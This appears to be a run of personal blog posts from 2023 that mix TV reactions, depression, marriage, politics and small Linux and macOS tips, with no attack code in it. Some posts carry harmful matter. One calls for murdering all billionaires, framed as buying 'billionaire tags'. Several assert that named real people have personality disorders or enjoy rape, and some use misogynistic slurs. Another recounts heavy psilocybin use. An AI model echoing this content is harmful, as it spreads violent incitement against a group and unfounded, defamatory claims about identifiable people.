Tue, 19 Sep 2023 19:33:12 -0400

Watching the last episode of this show, and the cannibal shit is fucked up. Armie Hammer is a psycho and wouldn’t be shit if he weren’t born into wealth. Hell, he was born into wealth and he still isn’t shit. He’ll never star in another movie in his life.

So he has cannibal fantasies and he enjoys rape, got it. That’s pretty clear. Anyone think he’s going to try to sue the producers of “House of Hammer”? I bet he won’t even try because the fucking coward knows he’s guilty, and trying to sue the makers of the documentary would end up landing him in a situation legally that would not end in his favor.

Artificialis Populi

Mon, 18 Sep 2023 19:37:16 -0400

Man, watching this Armie Hammer shit is pretty telling. Armie Hammer seems to have some combination of sociopathy and narcissistic personality disorder. It’s wild.

Work has been pretty demanding lately. It seems like the all-consuming and eternal Sisyphean shit-show that taints every molecule of my being with sadness and longing for a better world.

Billionaires and the ultra-wealthy see us as cattle. We are not their peers as they would have us believe in media and propaganda that they spout. We’re basically a commodity. They’re using us as resources either to make more money for themselves or for their own sick pleasure. Especially these familial dynasties involving generational wealth, they’re the worst offenders. I think we should just murder all the billionaires and distribute their wealth, honestly. It’s long overdue, if you think about it. The French and Russian revolutions were quite some time ago. I think it’s time to buy a few billionaire tags.

New Car

Sun, 17 Sep 2023 08:55:41 -0400

Finally we’re back to having two working cars. We picked up a ‘24 Equinox for my lovely wife to wheel around town with and I’m driving her previous car. It’s just a relief to not be strained getting everywhere we need to go with one car or borrowing cars.

I’m still mad at myself for fucking my car up. That shit sucked. It was a 2020 and it was paid off completely. God. Fucking. Dammit. And don’t ask what happened, either, motherfucker. I’m 200% irritated with myself.

Moving Goal Posts

Tue, 12 Sep 2023 17:16:23 -0400

At some point somewhere in the past I said to myself a dangerous mantra that I think we’ve all told ourselves at one point or another. “Just a few more weeks until {x} and then it’ll all be good from there.” The {x} can literally be anything from a life event to a large purchase or an activity or gathering. It can be anything. The time window can be anything too. It can be one year, five years, ten years, or ten minutes. The length of time always counts down, unless it doesn’t. Sometimes the goalposts move on us. Sometimes they don’t.

FetchQuest

Sun, 10 Sep 2023 19:17:51 -0400

I guess this post is about the meaning of life, given the fact that the title is absolutely the meaning of life. Yay, capitalism! I mean, this is what you wanted, right? Planned obsolescence with no way out of heavy metals leeching into our soil, poisoning our land and our wells? Sounds fucking awesome to me! Thanks, capitalism! And, yes, capitalism has indeed turned what it means to be American into a giant “Fetch Quest”. It’s irritating. It’s annoying. It devalues existence itself. I dunno. We’re all reduced to our wallets at any given moment. At our best of times, our wallets are empty but our lives are full. In the worst of times, our wallets are full because our lives are empty. You never really get to enjoy the best of times because you’re absolutely freaked the fuck out about not having a substantial savings at your bank just in case something happens to rain on your parade. Then, eventually, it does happen and you end up throwing it on a credit card. I mean, that is, if you’re fortunate enough to have been playing this absolute fraud of a game in the first place. If you’ve positioned yourself to having good credit, then this is the road you take. Depending on your spending habits and whether you can time things, you might pull yourself out of the hole and be able to move forward. But a substantial number of people won’t recover, they won’t be alright. Some will just let their credit get worse, others will have to borrow from a friend or family member, or worse yet pick up another job. And, let’s be real here; if you have a full wallet because you’ve been saving and tucking everything you can away in your account, you’re still not happy. You have nothing but numbers in an account at that point. They’ve made it that way to play on human psychology, to allow the victim to think he has something when really they’re just notes on a ledger that don’t really mean much. I guess they mean up to $100,000 if they’re FDIC insured, but that’s an unfortunate number for those who have worked harder longer and have much more to lose.

Meme Dump

Sat, 09 Sep 2023 10:51:22 -0400

I guess it’s time for another meme dump.

Man, I Don't Know

Thu, 07 Sep 2023 19:15:02 -0400

Legitimately. No, really. Man, I don’t know. We’ve got all this bullshit going on with, like, nuclear fusion. And maybe we have room temperature superconductors? Man. I really do not know. This species seems absolutely doomed while duly inflecting some genuine charm as well. It’s just stupid, really.

I am not the smartest person in the room. I know this. I absolutely never feel like the smartest person in the room, and in all honesty I feel like I would be a good bar for the low end of acceptable stupidity. Seriously. I’m one dumb high motherfucker more often than not. But I do love to solve a good problem. That shit is endlessly amusing to me. Same with understanding things. Knowing things. I love math, not because I’m even remotely good at it, but because I have an incredible amount of respect for it as the universal language of understanding the universe. The places that it shows up are just mind-blowing. The ways in which it manifests from what you think might be totally unrelated concepts end up taking pure maths and turning them into applied maths. It’s incredible when that happens. I love to see it. I wish we understood more. I wish I understood more. It’s awesome.

Vulture Is an Embarassing Rag and the Future Vice

Thu, 07 Sep 2023 13:41:14 -0400

Read this moronic bullshit first.

Archive, just in case.

Okay. Lets start taking this fucking moron apart, shall we?

If done right, the trick would help ensure that Rotten Tomatoes logged positive reviews but not negative ones.

First of all, why are you so fucking hell-bent on imparting your own personal bias on a content aggregation site? Are you mentally handicapped, Lane Brown? Do you have an issue with the “tyranny of the masses”? If so you should say you have an issue there, and not with a pretty basic website.

Lows

Tue, 05 Sep 2023 19:20:02 -0400

I have to admit, life is uniquely creative in how it can eviscerate you when you least expect it to. I guess I should’ve known when I had seen so many people yell “BINGO” with bone cancer and really awful shit like that. It’s a hint as to how absolutely abrasive life can be. Now I’m not equating events in my life to some horrid diagnosis, not by a longshot. I’m simply highlighting the seasonings of life. What makes life the way it is. Yeah, life is a mixture of being born to billionaires and being born with a predisposition to bone cancer. That really fucking sucks, if you ask me, considering it’s far more rare to be born to billionaires than to be born predisposed to bone cancer.

Mother!

Mon, 04 Sep 2023 13:49:55 -0400

Just because I don’t appreciate the miseries introduced to the world by the Christian faith, doesn’t mean I can’t appreciate the artistry that has accompanied it’s multi-millennial existence. That said, I’m re-watching “Mother!” for the fiftieth time, because it really is a piece of art in film. Right at the beginning you start in strange territory, with the wife being battered and consumed by flame, then extinguished. Saved, somehow, miraculously. You see the husband put a giant gem on a stand and the charred house seemingly comes alive again. The way the story plays out goes from subtle to over the top, eventually ending with cannibalism of an infant. It’s symbolism, sure, but it’s portraying real infant cannibalism.

The Future

Sun, 03 Sep 2023 18:05:32 -0400

It’s the wildest thing to be watching. Wild claims coming out of South Korea about room temperature superconductors popping up out of nowhere. Apparently we’re edging ever closer to breakthroughs in Quantum Computing as well as goddamn nuclear fusion. There are wild new technologies being developed for space travel and all sorts of wildly exciting things on the horizon. We could be on the verge of becoming a Type One civilization.

I used to read Bradbury and Asimov as a kid. I’d read 1984 and all sorts of futuristic novels of science fiction adventures in other dimensions, other galaxies, other worlds. Sometimes civilizations would be idyllic, utopian. Other times they’d have technology beyond all comprehension and still not have solved basic human problems. It’s bittersweet, always. On one hand, none are written as actual utopias. The notion of a utopia can’t be introduced in novels, it prevents the reader from connecting with the material. You can’t suspend disbelief for something as possible as a perfect society. We’re so disconnected from positive societal notions that any attempt to describe a “perfect” version of any human society falls apart in the mind of every reader. Sure, one can force the point and imagine if free will were no implication and what might happen in an actually perfect society from design. But it wouldn’t represent a free society that still enjoys full free will.

I Called It Already

Sat, 02 Sep 2023 10:52:05 -0400

Holy shit. It happened. Ruby Franke has finally met with the law. And I totally called it. They’ve arrested Ruby Franke on suspicion of child abuse. Wow. Wow wow wow. I mean, it’s been THREE YEARS since I wrote about this lady, but it finally happened. What blows my mind even more is that her daughter said “Finally!” when she was arrested. I just… I don’t even know how to process it right now. It feels like a person has to do an obscene amount of really abusive shit for the system to really kick in. I mean, god damn.

Guilt

Wed, 30 Aug 2023 10:57:34 -0400

Sometimes I feel guilty about the advantages I’ve enjoyed over the years. At work I find myself pretty consistently applied to things. There’s never a shortage of stuff for me to work on, ever, it seems. My coworkers complain pretty frequently about working help desk, or even help desk having no tickets for them to handle. I’m rarely ever left alone to just dick around for a day. Part of that probably comes from me pressuring my employers to pay me more every opportunity that I get. Whether job-hopping or other means, I’m always looking for more money. Typically, if someone’s paid amply, you keep that person engaged and going, hacking away at whatever stack. I guess that’s part of it.

Insulation

Tue, 29 Aug 2023 09:53:32 -0400

I don’t write as much as I used to. I’ve gone through periods where I could write page after page of all sorts of thoughts popping into my head and I could just bang out idea after idea. Actually, I don’t really know if that’s true or not. I think I’ve been more prolific than in recent times, but I don’t have numbers to support that theory. One thing I do know is that I’ve sat at this keyboard, at a post not unlike this one, and I’ve erased the first line. Then I would write another first line. It too would be erased. Then I deleted the new post and just went back to staring blankly at a YouTube video. It’s not that I don’t have feelings to express, it’s that the motivation to express them just dwindles. It used to be a way to purge myself of negativity and find some contentment. It gave me an opportunity to untangle a mess in my mind and set things straight. Writing just to write can be incredibly therapeutic. I just haven’t lately. I haven’t been able to. Even this post is really more an excuse than therapy. It’s to let you know that there will be more interludes and less genuine expression of emotion or thought.

M'lady

Sat, 26 Aug 2023 08:14:45 -0400

It has easily been something like two decades since I’ve been to the Renaissance Festival. I’m excited, but my excitement is also tempered by the reality that I was far easier to impress twenty years ago. However, the absolute redemption I’m expecting from this is that you can get a giant ass turkey leg and a beer. I think that should be a decent enough trade-off for middle-aged me versus myself two decades ago. I think the Renaissance Festival should hold up quite well in that regard.

Reclaim Your F-Keys in Byobu

Wed, 23 Aug 2023 15:11:04 -0400

I started using Byobu with tmux for sessions on my various machines, and overall I have to say I’m really impressed. It’s an awesome addition to the arsenal, but if you’re not super familiar with some of tmux’s finer points, byobu can really fuck with your head.

I noticed that disabling the “F-Keys” in byobu gives you access to F1-F11, but F12 is still fucked. That’s because it’s added as a second prefix. On the fly you can fix it with:

Nostr

Tue, 22 Aug 2023 09:46:02 -0400

Twitter, to me, is an excellent example of why monolithic platforms are bad for society. Jack Dorsey had ultimate authority to manage Twitter as he saw fit since Twitter’s inception. As soon as Elon bought it, you could see Musk starting to shift the “culture” surrounding Twitter to his silly little man-child libertarian bullshit.

Facebook, Myspace, Twitter; They all share the same problems. They also all share the same fate. They’re destined to die. They will start life humbly, expand, peak, and eventually whither and die. It’s the cycle of “monolithic platforms”.

Nothing to See Here, Move Along

Mon, 21 Aug 2023 10:40:13 -0400

I’m currently running a simulation on this PC. For reference it’s a Hewlett Packard z440 with an Intel Xeon E5-1620 with four cores and two threads per core. It has 64GB of RAM and a M.2 SSD. The simulation is taking half an hour so far. It’s not even a hard simulation. The problem is the simulation software, it’s not exactly utilizing the power of this machine. The calculations are done inline, single thread, and the virtual machine has a maximum of four gigabytes of allocated memory to work in. Honestly, it’s like taking a Ferrari or Pratt & Whitney custom racing engine and strapping it on a Geo Metro transmission filled with mud instead of transmission fluid. Engineering choices like these make me sad for humanity. “Doing the right thing would be too expensive, so we’re doing the next best thing.” Why do we even bother? The two design choices are so far away from one another that the second choice isn’t even worth pursuing.

Scamber Turd Netflix

Sun, 20 Aug 2023 16:06:58 -0400

If you haven’t watched it yet, absolutely go check out the Netflix series about the “Amber Heard / Johnny Depp” trial. It’s wild to see everything that came out in that trial, and Amber Heard’s ridiculous attempts to cry on demand in front of the court. I also felt really bad hearing audio of Depp himself admit that he was abused. I’m only two episodes in, but I think the third episode (my prediction before actually seeing it) will highlight Heard’s borderline personality diagnosis, which is probably the point that the wheels absolutely fell off the trial. Man, that audio, though. It resonated with experiences I’ve had, it really did. That way she tried to bait him into meeting her violence with violence and him just brokenly responding with what little he had left. Man, I bet Depp never gets with another borderline ever again.

Edward Allen Brown Has Borderline Personality Disorder

Sat, 19 Aug 2023 15:48:51 -0400

At our house we enjoy some trashy reality TV from time to time. One of our guilty pleasures has always been the “90 Day Fiance” series. It always seems to be a cauldron of desperation and dirt that makes an amazing amalgam of human trauma. It’s wild to see the rollercoasters these people subject themselves to from the immediate highs when they first meet to their first huge fights, to the almost guaranteed conclusion of divorce or separation. It really is some entertaining shit.

The Junk Lady

Tue, 15 Aug 2023 08:33:27 -0400

On my drive in to work this morning I had a thought occur to me that hasn’t really before, but it struck me as a fairly accurate metaphor for how I feel on a day to day basis. Mind you, I’m in no way saying I’m even remotely a possession-oriented person, and I’m really typically a minimalist at heart. I buy few things, but when I buy things I need in life I try and ensure they’re of a substantive quality so that they last as long as I may need them. I also have no qualm with parting with things I haven’t used in extended periods, unless I foresee an immediate or near-immediate use for them.

Liminal

Fri, 11 Aug 2023 18:55:26 -0400

I was going to write something here. I really was. I think I had something in mind to dump here. It’s long gone, though. I can’t dig it up quite yet. Whatever it was, hopefully it wasn’t important. I can’t fathom it might’ve been. I don’t think so, anyways. I’ve been thinking a lot lately about how I expect to solve the “Wireguard Peer Networks Matching” problem. So, there’s an issue with the ip addressing scheme on my home network. It’s a private class C subnetted ip address scheme. Your standard 192.168.1.1/24. It’s not normally an issue when I’m out and about because a lot of public network access points are using the far more generous class A private network ip scheme. Sometimes it’ll be class B, but it’s rarer. Almost always some flavor of Class A. But I think the solution to my problem lies in turning my home network into a class A private network. I think that’ll solve my issue largely, so long as I subnet it cleverly enough. So I think that’s the next thing I’ll work on. This is gonna get interesting.

Deliberate Deliberations

Fri, 11 Aug 2023 15:02:29 -0400

I have so many opinions on so many things, but mostly I don’t really care about opinions. I guess that’s why I just so freely throw them out into the open; they don’t have any intrinsic value. A secret can have a high intrinsic value depending on what it involves. Just look at Ed Snowden and Julian Assange. They know all too well the value of secrets. Especially secrets of powerful nation states.

Antediluvian Paganism

Sun, 06 Aug 2023 09:00:59 -0400

I haven’t spent much time on this lately. It’s not that I haven’t wanted to, but truthfully I haven’t had anything to say. I’ve been sort of floating through life. It feels distressing, honestly. I’ve grown accustomed to the emotional purges of unleashing whatever is in my head on this blog. Going extended periods without feeling that sort of “pressure release” can be uncomfortable. Even if I don’t really say anything at all, just throwing something down usually feels at least a little beneficial.

IRC Help Desk

Sat, 29 Jul 2023 14:10:22 -0400

Okay, I need to get this out of my system. It’s an incredibly irritating pet peeve of mine when people connect to an IRC server, join a channel, and then expose to everyone in channel openly the fact that this is their very first time using this protocol by saying “I GUESS NO ONE’S ON RIGHT NOW” and just rage quitting.

Bro. What. The. Fuck. Do you not realize that IRC is #IdleRPG? Fucking seriously. It drives me nuts. Like this little gem:

Spirit Cooking

Sat, 29 Jul 2023 13:38:38 -0400

It seems like I’m back at the travel, yet again. All of next week I’ll be at least a few states over, technically, and it’s not going to be a good time. Sure, I have a lot of distractions I bring with me. I roll out with my Macbook Pro 14" M1 Max, Switch, and Steamdeck. Still, I’d trade all of that crap to be taking my wife, and my kids at least half the time (since they annoy the shit out of me sometimes and still need to see their mothers). I don’t enjoy the travel as much as I used to. For a while at the start it was a novel way to escape a dreadful relationship. But I’ve since grown as a person, healed, I’ve worked on myself and the parts of me that led me to that doomed situation in the first place. Once I was on the path to bettering myself, I discovered that I have a lot to be grateful for at home, and that escapism is no way to cope. Then I met my wife, and I love her so very much. I don’t get sick of her. Of course we get on each other’s nerves and annoy each other and sometimes make each other mad, but it’s never to any point where I want to be somewhere else. I always want to be with her. She’s my love.

Relinquish

Fri, 28 Jul 2023 19:35:58 -0400

When someone dies, they no longer get to advocate for themselves. They can’t state the position they took on any topic. They can’t defend decisions they had made. I guess the reason they say you shouldn’t speak ill of the dead stems from the fact that the narrative becomes one-sided when they cross the great egress. I get that. I really do. My dad apparently suffered crippling depression. I’ve seen artwork he has produced; sketches and paintings, that have more than shone a light on the struggles he lived with on a daily basis. I’ve heard from many people that my dad was a very depressed man. The Sheriff finalized that when arriving at the scene of the accident, finding the seatbelt unused and the empty bottle of bourbon. I used to think that if I made it to thirty two years of age I’d have done more for my kids than anything my dad had ever done for me. Yes, I suffer from depression. The thing that keeps me from exposing myself to liability like dying is the fact that I know first hand what happened to my family when my dad died. I saw that even his ex wife broke down in tears when he passed, almost as though she saw it coming but couldn’t believe it. My grandparents were just absolutely disabled for such a long time. They bore the absolute brunt of it, and they were the ones feeling bad for me. I truly felt bad for them, because I can’t imagine what it would be like to lose a child, and I hope to god I never do.

I Can See Into Forever

Sun, 16 Jul 2023 12:52:30 -0400

Yesterday I ate a small half of a cap of Ghost strain of Psilocybe Cubensis. To say that it’s strong is an understatement. I really didn’t think I consumed that much of it, though I didn’t weigh it, it could only have been a gram or two at most. It was small and light.

It came on slow. Confusion, wiggling vision, color saturation and hue pulsating and morphing. I thought the initial intensity would be an indicator of what I was in for. It was not. Not by a long shot. Shortly after that, I found myself needing to lay down. I was fully incapacitated, staring at god only knows, drooling, incomprehensible. I was rendered immobile. I did try and get back on top of the mushroom, but it quickly asserted it’s dominance and threw me back down on the bed like a limp ragdoll. It was interesting, to say the least.

Grotesque

Mon, 10 Jul 2023 21:22:48 -0400

Have you ever felt like a “post turtle” before? Like someone put you on a post way up high and have no idea what you’re doing there or how you even got there? Man, that feels like me damn near every day at my job. It really sucks a lot sometimes, but my god, lately it feels like it more now than ever. I think it’s because I’m venturing into stuff I really don’t have any experience in. I’m diving into the pseudo-realm of “kind-of-gaging”. It’s really awkward for me because I’ve actually had a decent part in a few large gaging projects prior to this, but it just really doesn’t even feel relevant when compared to what I’m doing right now.

Random String

Fri, 30 Jun 2023 11:19:07 -0400

I haven’t used traditional social media in a very long time. Instead I’ve been entertaining myself with both old-school internet relay chat and very new nostr. It’s an interesting culture that has been attracted to it. I don’t need to agree with everyone’s politics or beliefs no matter where I play, but apparently on nostr it truly doesn’t matter. The only recourse the nostr network has is for any individual who doesn’t like you to use their big fat block button. Just as God intended. No massive network-wide user eliminations like on Mastodon. The relays don’t apparently communicate with one another, but you can use many relays at once. My preferred client comes pre-loaded with 19. If one of them doesn’t like me, then so be it, I’m still on 18 others. If I really want to (and I do, actually) I could just run my own relay. Which I will be doing eventually.

Struggle Bus

Thu, 29 Jun 2023 10:45:50 -0400

Well, it’s long past time I finally dove into it and learned myself some proper Linux server administration basics. I’ve been on the struggle bus when it comes to keeping my two Raspberry Pi 4’s in operating condition. I forgot how long it took me to do a manual install of Nextcloud without relying on either Snap or Docker. I’m pretty sure it took me something like two weeks to iron it out, and a month to tweak all of the necessary settings to make the installation happy with the machine it’s on.

This Application Is Damaged Macos

Wed, 28 Jun 2023 18:47:55 -0400

If you’ve ever gotten that shitty This application is damaged and cannot be run error on MacOS when trying to run an application or binary you downloaded from the internet, it means that Apple is preventing that app from running because it’s not signed by their development software.

The fix is to run this:

xattr -d com.apple.quarantine /Applications/YourAppHere.app

I don’t think the command even returns anything whether successful or not, but it should stop preventing your app from running at that point. The garbage part of it is that MacOS will tag it yet again if it’s updated, which means you’re going to use this command a lot.

FUCKING FINALLY

Wed, 28 Jun 2023 18:38:22 -0400

It took me a hot minute, but I finally recovered from a catastrophic SDCard failure. I had one of my Raspberry Pi’s die on me recently, and 90% of the time when they die that failure is of the SDCard. I had my primary ssh point of presence die recently, and it also acts as my Nextcloud instance as well. She took a magical shit with nothing on the SDCard being of value after the fact. So of course I had to obtain one that wasn’t dead, then flash it with an operating system that would be suitable enough to keep it limping along even further.

QAnon Is Social Cancer

Fri, 23 Jun 2023 14:46:21 -0400

I think most of us realize this already, and a vast majority of us who realize this understand that it’s the exploitative nature of the “Q” lie that is specifically insidious. First and foremost it is a cope fabricated around lies that people want to be true. People who are comfortable supporting a fascist government predicated on the government being mostly in agreement with their core beliefs, these are the prime targets of QAnon, and the lowest hanging fruit. They’re the ones specifically targeted for the absolute train-wreck that is QAnon. These people feel listless without an authoritarian regime tightening the reigns on them. They want the boot on their neck, because the boot they want on their neck is the father they never had. I don’t really know, I’m guessing, I’m forever and always a “fuck the government” type no matter what. Fuck the government forever and always. That’s my motto. It’s my core belief structure.

Black Mirror: Season Six

Fri, 23 Jun 2023 10:31:06 -0400

I don’t care who you are, Black Mirror has an episode that’ll pique your interest. It’s an awesome series, though maybe a little depressing for some. I love the twists and turns, and I really love how technology is the “monkey’s paw” in nearly every story. It’s an awesome series, for sure. The latest season has definitely taken a hard left from the tried and true formula, though. It’s not that I’m disappointed, but I can definitely say that Black Mirror Season Six doesn’t feel like Black Mirror. It feels more like Twilight Zone than Black Mirror, and a part of that is because the latest season seems to have dodged the whole notion of a “Monkey’s Paw”. There are none this go round. In fact, it’s just straight up horror, and there isn’t a technological bent. I can’t exactly go into it without spoilers, but we’re talking classical monsters at this point, rather than the manmade ones.

Homeschooling Is Child Abuse

Mon, 19 Jun 2023 17:45:02 -0400

I’ve read and watched a ton of content on movements like “Quiverfull” and “IBLP” and the rest of the lunatic factories that exist that tend to lean into raising incredibly sheltered children that aren’t at all aware of the enormous world around them. It’s absolutely disgusting and ridiculous to harm children so much by brainwashing them into buying this garbage “Jesus” shit and just ignore the real world around them that doesn’t fit into this narrow and moronic worldview.

Clarity

Wed, 14 Jun 2023 12:10:08 -0400

I am grateful that I am allowed to be distracted by extraneous stimuli. I don’t sit inside myself and wallow in an endless cascade of self-pity.

I might overcompensate with that. I might do myself an injustice by removing my own needs or desires from an equation in order to “balance” things. On one hand, I want to go to sleep. On the other, sleeping all the time isn’t conducive to experiencing life. So I’ll sign up for something without regard to how much I’ll enjoy it solely to avoid inserting myself as a factor and just sleeping, or doomscrolling, or wasting time on vidya. It’s almost as though my self care is ignoring myself to an extent, and it has been a more than decent coping strategy that has actually made positive impact in my life. I have yet to balance it out in a healthy and meaningful way, but so far the negative has been minimal by comparison.

Understanding

Mon, 12 Jun 2023 07:54:40 -0400

The first step in problem solving is understanding the problem you’re trying to solve. If you don’t understand the problem, you’re going to have an even more difficult time understanding the solution. It took me a long time to realize that depression is the reverse of what most people would consider normal emotion. If something undesirable happens to a person, especially something very undesirable, it can make that person sad. A loss, a death, all manner of tragedy can cause a person to feel sad. Depression is not a reaction to a situation. Depression is the lens through which you see life. Situations can cause sadness, and sadness can lead to depression, but for those who are chronically depressed it’s how you get to see the world. Things appear less than they are because of depression. It’s reactivity in reverse, and that can be a lot for a person to wrap their head around, especially if you’re not accustomed to it.

Repetition

Mon, 05 Jun 2023 09:57:49 -0400

Some weeks are chock full of the same day. Like Groundhog’s Day, except time is actually passing. Going through the motions at work, all day, every day. Going through the motions with parenting. Going through the motions with my personal life. Neurotic friend is still neurotic. Nerdy friend is still nerdy. Party friend still wants to party. Novelty is not something the universe is willing to afford me on many levels, it seems.

Choppy MP4 Playback in Plex

Fri, 02 Jun 2023 10:17:24 -0400

I figured I’d drop this tip for anyone experiencing choppy playback with Plex and MP4 container files. I’ve experienced it, and I also came across a fix for it. It’s not the greatest fix, but it’s workable, and the result is good.

Apparently the problem is how Plex handles MP4 containers. The best solution is to simply move the video and audio data out of the MP4 container format and into Matroska. You don’t have to transcode anything, just switch container formats and it’ll play just fine. I prefer using mkvmerge for this. It’s a command line utility that runs on damn near anything. It’s a part of the mkvtoolnix library. You can download it here. The command is as simple as mkvmerge -o Output.mkv Input.mp4. The tool itself comes with a ton of features, but absolutely zero of them are necessary if you’re running Plex.

Journal Entry Number Hundredty Thousand

Wed, 31 May 2023 09:37:52 -0400

I’ve given up the notion of running a proper blog and have supplanted that idea with a blog, one mainly existing to satisfy my need to put thought to paper. I know, it’s weird. A virtual journal is more appealing to me due to me being a geek. Also, it being public-facing doesn’t really bother me. I don’t feel as though I have to censor myself or steer my verbiage. I feel pretty free to express whatever thought comes to mind.

Random Ran Dumb Randumb

Tue, 30 May 2023 12:51:02 -0400

I watch the clock every day. I count down the hours, the minutes, the seconds, to my freedom. I can’t help it. I didn’t choose to have to donate a vast majority of my labor in exchange for the ability to eke out a meager existence. I suppose my existence isn’t as meager as some, or even many, but nonetheless I’m not a millionaire.

Xi Jinping is a huge piece of shit. I looked up his net worth, and apparently he’s worth around $1.2 billion. How exactly does a political leader accrue $1.2 billion in worth without being incredibly corrupt? Well, that’s the answer, isn’t it? They don’t. He’s just incredibly corrupt. Just like Vladimir Putin. There are clandestine estimates of Putin’s worth that suggest he could be worth as much as $200 billion. That’s orders of magnitude more than you’d expect a government official to ever be capable of, at least without being one of the most corrupt men alive. You can see where I’m going with this, hopefully.

Poor Sherlon

Sun, 28 May 2023 19:00:55 -0400

We’re watching this 90 Day Fiancee: Love in Paradise and it’s pretty wild, man. There’s this guy, Sherlon, who got laid for two days in Jamaica. Then the crazy entitled bitch got knocked up. But really you don’t know how goddamn entitled she is until she starts opening her mouth, and then for an hour each week we’re inundated by the outflow of bullshit from her mouth. It’s absolutely stunning. The sheer volume of bullshit spewing from her face is absolutely breathtaking. She’s literally gatekeeping this cute baby, Odin, from his own father because the guy doesn’t want to be with this awful entitled cracker-ass bitch. I don’t blame him! Fuck her! She’s awful! Stay strong, Sherlon. Stay strong. That bitch ain’t got nothin on you homie.

Objectivity

Fri, 26 May 2023 07:32:29 -0400

It’s Friday. Can’t argue with that. Especially not the Friday before a three day weekend. Productivity isn’t going to be stellar today, that’s for damn sure. It’s already not stellar. Here I am, blogging random thoughts again. It’s okay. It’s my therapy. It keeps my head in a decent enough space to not spend most weeks crying in a corner while at work. This stuff gets so heavy sometimes that it feels like it follows me home, and I end up consuming far more weed than I really would’ve without carrying this shit with me all over the place.

Firefox Is the Last Man Standing

Sun, 21 May 2023 10:43:28 -0400

This is the last great web browser. It’s not even perfect, in all fairness. However, you can grab the better version here. Just keep in mind you won’t be watching Netflix on LibreWolf any time soon, due to total lack of widevine implementation. Without widevine, your browser won’t be able to unpack the lame as shit digital rights management protections thrown all over the place these days. Youtube still works just fine, though.

Media Bias

Sun, 21 May 2023 10:08:12 -0400

https://en.wikipedia.org/wiki/COINTELPRO

Everything you need to know is in the above link. If you labor under any delusion that the CIA has ceased influencing or attempting to influence public opinion, you’d have to be a pretty gullible individual.

The challenge anymore is to suss out who is trying to influence what. Who has something to gain from a particular position or idea? What blows my mind is that there are people out there who consider LGBT activism a “corporate agenda”. It’s incredibly naive to discount the fact that gay people aren’t gay by choice. It’s even more naive to assume that there aren’t young gay couples out there with dual incomes and no children who might want to donate to social causes that aim to make life safer or more comfortable for them. It may be an agenda, but it isn’t corporate, it’s human. What’s more, if you’ve spent any time watching the movement closely you’ll notice that they’re not afraid to include and help other oppressed minorities that they can reasonably scoop up along the way.

Russia

Sat, 20 May 2023 18:19:23 -0400

It’s not hard to find people defending Putin’s actions in Ukraine, especially people on the conservative end of the spectrum. It’s absolutely bizarre, too, because they’re usually the same people crying about Benghazi and other similar shit basically non-stop. It’s really just out of spite of the left, I think. It seems to be a more common motivation for the right these days, being contrarian just to contrarian. It’s really goddamn moronic, and yet another reason I can’t respect individuals leaning so far past right. It’s just absolute lunacy, really. I can’t respect it, nor do I think anyone should be forced to tolerate it. I mean, come the fuck on. “Because you don’t like it” does not register as a valid reason to take a position on something. Grow the fuck up, seriously. I don’t know if you fucking infants realize it, but that’s something spiteful teenagers say to parents, that’s not something you boomer shitheads need to adopt as a political identity, for fuck sakes.

Propaganda About China

Thu, 18 May 2023 13:23:54 -0400

First and foremost, I’m going to get this out of the way: I have zero respect for how the Chinese government represents the Chinese people on the world stage. I’d go so far as to outright say that the Chinese government cannot represent the people of China in any way, shape, or form, because they’re not capable of choosing who represents them in government.

Fuck China.

That said, I’d like to chat about an article I just saw. This one. The title reads: “China’s loans pushing world’s poorest countries to bring of collapse”. I think what irks me most is that people don’t care about the fact that we’ve piggybacked off of China for half a century. We’ve had them do our bitchwork for next to nothing in compensation. But the little in compensation they got earned them more rights to produce more cheap goods for us to consume. The more China produced for us, the more we outright relied on their capacity, and the more they were able to charge for these formerly cheaper goods.

Extraneous

Sat, 13 May 2023 17:49:49 -0400

I thought I had an idea for a post, but it turned out to be a fluke. It’s nearly always a fluke. I start with an idea, but the ideas are always fleeting and I’m rarely ever capable of revisiting whatever spawned a post. In fact, I find myself rambling every single time, whether that was ever my intention or not. This in fact is a great example, it’s just a rant about how I rant. How meta is that?

Paradise

Tue, 09 May 2023 19:05:29 -0400

Right after the wedding we jumped on a plane to the Dominican Republic and we’ve been basking in paradise since. We have to go back home tomorrow, and I’m sad. But I’m also excited, as there are new opportunities that await us. It’s funny, though, that we both agree that we’ve already been married for a while, but having said vows and made it official is simply icing on the cake. I really couldn’t have imagined it any other way. I’ve found my person, and I’m glad that I’m hers. She’s my love. She’s my favorite. I love you, Amber.

Why Jack Dorsey's Blue Sky Will Fail

Mon, 24 Apr 2023 11:53:27 -0400

If you haven’t seen it yet, Jack Dorsey went ahead and is shooting to start Twitter 2.0 which he has named “Blue Sky”. Apparently he’s outright ripping off the overall federation concept from email, XMPP, and obviously Mastodon. I think where Mastodon has succeeded has been in creating a fully federated echo chamber. Yes, you too can now participate in a heterogeneous echo chamber where you post something you believe in and it is showered in the likes and replies of hundreds of individuals who concur! It’s wild how they’ve achieved this under federation, but it looks like the hat tip is to Google for how completely Google has wrought havoc on the email system.

Holy Shit

Fri, 21 Apr 2023 20:05:58 -0400

Holy shit, I’m getting married, y’all. Like, for real. It’s crazy to think about. It’s right around the corner. I’m insanely excited. I really never thought I’d get married again, and it’s happening in eight days. It’s wild. I can’t believe how lucky I am. It’s going to be an amazing time. The honeymoon is going to be amazing. All-inclusive adults only resort with my new wife in the caribbean. I’m so excited.

Delightful Dirge

Mon, 17 Apr 2023 09:15:09 -0400

Does it feel as though time is slipping by at an ever-increasing rate? I think I was cheated out of a weekend. It’s almost as though it didn’t even happen.

Man, the more I think about that the less fair I think the universe is. Time only drags by when you need it to go fast. This is a rule without exception. And time, likewise, slips by when you want it to cling. It’s the only commodity you get in spades only if you don’t want it. Fairness has clearly been considered here, and unfairness used as the basis by which the entire concept is built.

Random Dumb Dumb

Sat, 15 Apr 2023 17:38:47 -0400

We’ve been pseudo-watching a ridiculous series on Netflix called “Florida Man”. It’s pretty fucking silly, if I’m being honest. The main characters are mostly normal human-like people, but it’s like everything that happens is happening in Florida, so some scenes just have a random meth-head hijacking an Ambulance. Shit like that. It’s interesting, I guess. I need a new nerd series to watch, though. “The Boys” was great, but my appetite for that sort of stuff is just insatiable. I can’t get enough, and so when it comes, it’s over in a binge and a half. It kinda sucks, to be honest. It’s so good, yet so short, pretty much every time. Ah well.

The SCOTUS Needs to Be Audited

Fri, 07 Apr 2023 15:37:49 -0400

With recent revelations of Clarence Thomas accepting bribes from Republican billionaire mega-donors, I think it’s high time the Supreme Court of the United States be externally audited for ethics compliance and held accountable for any issues or failures found, possibly up to and including impeachment.

